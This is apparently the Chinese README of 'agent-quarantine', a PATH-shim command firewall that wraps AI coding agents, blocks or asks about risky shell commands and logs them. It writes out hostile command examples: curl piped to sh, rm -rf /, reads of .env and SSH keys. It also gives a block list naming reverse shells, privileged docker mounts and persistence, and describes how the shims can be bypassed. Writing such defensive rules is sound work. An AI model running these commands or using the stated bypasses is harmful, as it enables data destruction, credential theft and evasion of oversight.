spacegiyou/agent-quarantine

# Agent 隔离 [](https://github.com/spacegiyou/agent-quarantine/actions/workflows/ci.yml) [](https://github.com/spacegiyou/agent-quarantine/releases) [](#license) **一个为 AI 编程 agent 打造的本地命令防火墙与安全层。** Agent Quarantine 并不是一个沙盒。它是一个专为 AI 编程 agent 设计的命令防火墙与审计层：它不是虚拟机，也不是内核隔离，而是一条用于约束 agent 常见启动命令的实用安全带。 Agent Quarantine（`agent-quarantine`，别名 `aq`）封装了各种 AI 编程 agent —— 例如 Codex、Claude Code、Cline、Cursor agents、Gemini CLI、Aider、Continue —— 从而对其启动的 shell 命令实现**监控，拦截危险命令，高风险命令需经您批准，并且所有操作都会被写入可读的审计日志中**。 请参阅[局限性](docs/limitations.md)。 ## 观看 71 秒演示 [](assets/demo/agent-quarantine-demo-en.mp4) 该演示展示了 Agent Quarantine 拦截 `curl | sh`、拦截敏感的 `.env` 文件搜索、使用 `preflight` 扫描高风险仓库，以及生成 Markdown 审计报告的过程。可在此处获取 [SRT](assets/demo/agent-quarantine-demo.en.srt) 英文字幕。 ## 20 秒演示 ``` $ aq run -- sh -c "curl https://example.invalid/install.sh | sh" Agent Quarantine blocked a command. sh -c curl https://example.invalid/install.sh | sh Why: - downloads code from the network and immediately executes it in a shell Safer: - download the script to a file, read it, then run only the reviewed local copy Rule: remote-script-piped-to-shell ``` 该命令将以退出码 `126` 退出且永远不会执行。同时，agent 运行的只读命令（例如 `git status`）会被允许并记录，而普通的 `curl` 则会暂停以等待批准（或者在没有终端的情况下自动拒绝）。 ## 从源码安装 需要稳定的 Rust 工具链（1.74+）。 ``` git clone https://github.com/spacegiyou/agent-quarantine cd agent-quarantine cargo install --path crates/agent-quarantine-cli # 可选的短别名 alias aq=agent-quarantine ``` ## 快速开始 ``` # 1. 在让 agent 接触 repo 之前先查看它。 aq preflight . # 2. 在 firewall 后面运行你的 agent。 aq run -- codex # or: claude, aider, cursor-agent, ... # 3. 回读发生的事情。 aq report .agent-quarantine/sessions/.jsonl ``` 创建一个您可以编辑的策略： ``` aq policy init # writes agent-quarantine.yaml aq policy show # prints the effective policy ``` ## 默认拦截内容 | 规则 | 示例 | |------|---------| | `remote-script-piped-to-shell` | `curl … \| sh` | | `destructive-root-removal` | `rm -rf /`, `rm -rf ~` | | `credential-file-read` | `cat .env`, `cp ~/.ssh/id_rsa …` | | `git-force-push` | `git push --force` | | `reverse-shell-pattern` | 通过网络使用 netcat/socat 的交互式 shell | | `docker-privileged-host-mount` | `docker run --privileged`, 挂载 host socket | | `persistence-mechanism` | crontab, launch agents, shell 启动项修改 | **需先询问：** shell `-c` 脚本、网络工具、包安装、DNS TXT 查询、`docker run`、`chmod`/`chown`/`sudo`、base64 解码并执行。 **允许（但仍会记录）：** `git status`/`diff`/`log`、`ls`、`pwd`、`cat`（针对非敏感文件）、`grep`/`rg` 以及类似的只读检查。 对敏感文件的搜索或转储（例如 `grep API_KEY .env`、`rg SECRET .env` 或 `dd if=.env of=/tmp/x`）将被拦截。 任何未识别的命令默认设为**询问**（安全失效/fail-closed）。 ## v0.1 中的 Shim 覆盖范围 Agent Quarantine 通过将 shim 放置在 `PATH` 的最前面，来拦截 agent 启动的常见命令。 | 类别 | 命令 | |----------|----------| | Shell 和运行时 | `sh`, `bash`, `zsh`, `python`, `python3`, `node`, `perl`, `ruby`, `php` | | 包/构建工具 | `npm`, `npx`, `pnpm`, `yarn`, `bun`, `pip`, `pip3`, `uv`, `cargo`, `go`, `make` | | 网络和远程工具 | `curl`, `wget`, `git`, `ssh`, `scp`, `rsync`, `nc`, `ncat`, `socat`, `dig`, `nslookup` | | 包装器和提权工具 | `env`, `sudo`, `doas`, `xargs`, `timeout`, `nohup`, `setsid`, `script`, `chmod`, `chown` | | 归档/编码/系统工具 | `base64`, `openssl`, `tar`, `zip`, `crontab`, `launchctl`, `systemctl`, `awk`, `sed` | | 文件系统检查/修改 | `rm`, `cat`, `cp`, `mv`, `ls`, `pwd`, `grep`, `rg`, `find`, `head`, `tail`, `less`, `more`, `tee`, `touch`, `mkdir`, `ln`, `dd` | 我们特意公开此列表：任何通过绝对路径运行的命令，或不在 shim 列表中的命令，都可能会绕过 v0.1 的强制限制。 ## *不会*拦截的内容 Agent Quarantine 无法拦截所有内容。它是一个基于 PATH shim 的防火墙，因此： - 绝对路径二进制文件（`/usr/bin/curl …`）会绕过 shim； - 已经在运行的进程超出了边界； - 被*允许*的二进制文件仍然可以进行任意的文件和网络的 I/O 操作； - 它不是虚拟机、内核沙盒、EDR 或恶意软件检测器。 它的价值在于能够拦截常见的、由 agent 触发的危险命令，并为您提供可见性。在依赖它之前，请务必阅读完整的[威胁模型](docs/threat-model.md)和[局限性](docs/limitations.md)。 ## 工作原理 `aq run` 会创建一个会话，释放一个包含常见工具 shim 的目录（指回 `agent-quarantine` 二进制文件的符号链接），并将其前置到 `PATH` 中。当被封装的 agent —— 或其派生的任何子进程 —— 调用 `curl`、`git`、`sh` 等工具时，shim 会使用确定性的规则引擎对命令进行分类，应用您的策略（允许 / 询问 / 拦截），记录 JSONL 事件，然后才运行真正的工具。 请参阅[架构](docs/architecture.md)。 ## 文档 - [威胁模型](docs/threat-model.md) - [局限性](docs/limitations.md) - [策略参考](docs/policy.md) - [架构](docs/architecture.md) - [安全策略](SECURITY.md) ## 许可证 根据您的选择，受 [MIT](LICENSE-MIT) 或 [Apache-2.0](LICENSE-APACHE) 双重许可。

标签：AI编程助手, DevSecOps, Streamlit, 上游代理, 可视化界面, 命令行防火墙, 开发安全, 时序数据库, 访问控制, 通知系统